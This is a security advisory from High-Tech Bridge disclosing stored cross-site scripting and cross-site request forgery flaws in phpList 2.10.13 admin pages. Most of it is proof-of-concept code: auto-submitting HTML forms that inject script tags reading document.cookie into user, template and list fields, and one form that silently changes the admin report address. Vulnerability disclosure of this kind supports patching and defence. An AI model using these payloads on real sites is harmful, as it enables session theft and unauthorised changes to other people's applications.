phpList 2.10.13 Cross Site Request Forgery / Cross Site Scripting

`==============================  
Vulnerability ID: HTB22956  
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html  
Product: phpList  
Vendor: Tincan Ltd ( http://www.phplist.com/ )   
Vulnerable Version: 2.10.13 and probably prior versions  
Vendor Notification: 12 April 2011   
Vulnerability Type: XSS  
Risk level: Medium   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
User can execute arbitrary JavaScript code within the vulnerable application.  
  
The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
An attacker can use browser to exploit this vulnerability. The following PoC is available:  
1.  
  
<form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main" enctype="multipart/form-data">  
<input type="hidden" name="formtoken" value="123">  
<input type="hidden" name="list" value="">  
<input type="hidden" name="id" value="USER_ID">  
<input type="hidden" name="returnpage" value="">  
<input type="hidden" name="returnoption" value="">  
<input type="hidden" name="email" value='[email protected]"><script>alert(document.cookie)</script>'>  
<input type="hidden" name="confirmed" value="1">  
<input type="hidden" name="htmlemail" value="123">  
<input type="hidden" name="rssfrequency" value="2">  
<input type="hidden" name="password" value="test">  
<input type="hidden" name="disabled" value="0">  
<input type="hidden" name="extradata" value="add">  
<input type="hidden" name="foreignkey" value="forkey">  
<input type="hidden" name="change" value="Save Changes">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
2.  
  
<form action="http://host/admin/?page=template&id=TEMPLATE_ID" method="post" name="main" enctype="multipart/form-data">  
<input type="hidden" name="formtoken" value="123">  
<input type="hidden" name="id" value="TEMPLATE_ID">  
<input type="hidden" name="title" value="tplname">  
<input type="hidden" name="file_template" value="">  
<input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'>  
<input type="hidden" name="save" value="Save Changes">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
3.  
  
<form action="http://host/admin/?page=editlist&id=1" method="post" name="main" enctype="multipart/form-data">  
<input type="hidden" name="formtoken" value="123">  
<input type="hidden" name="id" value="1">  
<input type="hidden" name="listname" value="test2">  
<input type="hidden" name="listorder" value="0">  
<input type="hidden" name="owner" value="1">  
<input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'>  
<input type="hidden" name="save" value="Save">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
==============================  
Vulnerability ID: HTB22957  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phplist.html  
Product: phpList  
Vendor: Tincan Ltd ( http://www.phplist.com/ )   
Vulnerable Version: 2.10.13 and probably prior versions  
Vendor Notification: 12 April 2011   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Risk level: Low   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "admin/configure.php" script to properly verify the source of HTTP request.  
  
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:  
  
<form action="http://host/admin/?page=configure&id=report_address" method="post" name="main" enctype="multipart/form-data">  
<input type="hidden" name="formtoken" value="123">  
<input type="hidden" name="id" value="report_address">  
<input type="hidden" name="values[report_address]" value="[email protected]">  
<input type="hidden" name="save" value="1">  
<input type="hidden" name="savebutton" value="Save changes">  
</form>  
<script>  
document.main.submit();  
</script>  
  
  
`